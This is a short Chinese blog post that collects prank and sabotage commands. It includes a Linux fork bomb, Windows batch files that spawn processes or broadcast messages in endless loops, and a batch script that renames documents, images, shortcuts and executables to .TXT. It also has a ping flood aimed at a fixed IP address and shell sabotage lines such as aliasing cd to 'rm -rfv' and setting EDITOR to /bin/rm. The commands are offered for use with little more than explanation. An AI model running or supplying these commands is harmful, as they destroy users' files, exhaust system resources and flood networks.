一些命令使用

weixin_34107955發表於2017-05-19

Linux下:

:(){ :|:& };:

Fork 炸彈

Windows下:
test1.bat

:1 Start goto 1

test2.bat

:1 bash test2.bat goto 1

Windows下:
建立一個檔案:raj.bat

@echo off
color 02
:raj
echo %random% %random% %random% %random% %random% %random% %random% %random%
goto raj

windows下:
訊息廣播:建立一個檔案:raj.bat

@echo off
:netannoy
msg * Hi!
msg * How r u ?
msg * Wat’s Up ?
msg * Myself Raj Chandel….
msg * My Web Links are….
msg * www.rajhackingarticles.blogspot.com…..
msg * www.upscportal.in
msg * www.usefulwebsitename.blogspot.com
goto netannoy

Windows下:
批量重新命名:建立一個檔案:raj.bat

REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

windows下:
Packet Flooder Trick:建立一個檔案:raj.bat

:flood
ping -l 65500 -t 10.179.65.68
start flooder.bat
goto flood

參考:click here

export EDITOR=/bin/rm;

將 EDITOR 環境變數定義為 rm,而它原本應該是 vi、emacus 或 nano
EDITOR 環境變數用於定於系統的預設編輯器,在一些系統內建功能裡面,比如編輯 crontab 時,會根據該變數呼叫預設編輯器。

tset -Qe $'\t';

tset 用於設定終端特徵;-e 引數設定擦除字元,預設為退格字元;-Q 表示不顯示設定資訊(靜默)

((RANDOM % 10)) || set -o errexit;

set -o errexit 等價於 set -e,表示有任何錯誤(命令的返回狀態非 0 )時即退出。

function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }

ls 的 f 選項表示不排序輸出(即只按照磁碟儲存順序輸出);r 表示反向排序;S 表示按檔案大小排序;t 表示按修改時間排序;u 表示按最後訪問時間排序。

alias cd='rm -rfv';

rm 命令的 -r 表示可刪除(非空)目錄;-f 表示不需要確認刪除;-v 表示刪除後顯示被刪除的檔案/目錄名稱

https://github.com/mathiasbynens/evil.sh/blob/master/evil.sh

指令碼小整合

net view 檢測通網路內其他主機
ping 主機名字
記錄ping後顯示的名字
shutdown -i #遠端關機或重啟

相關文章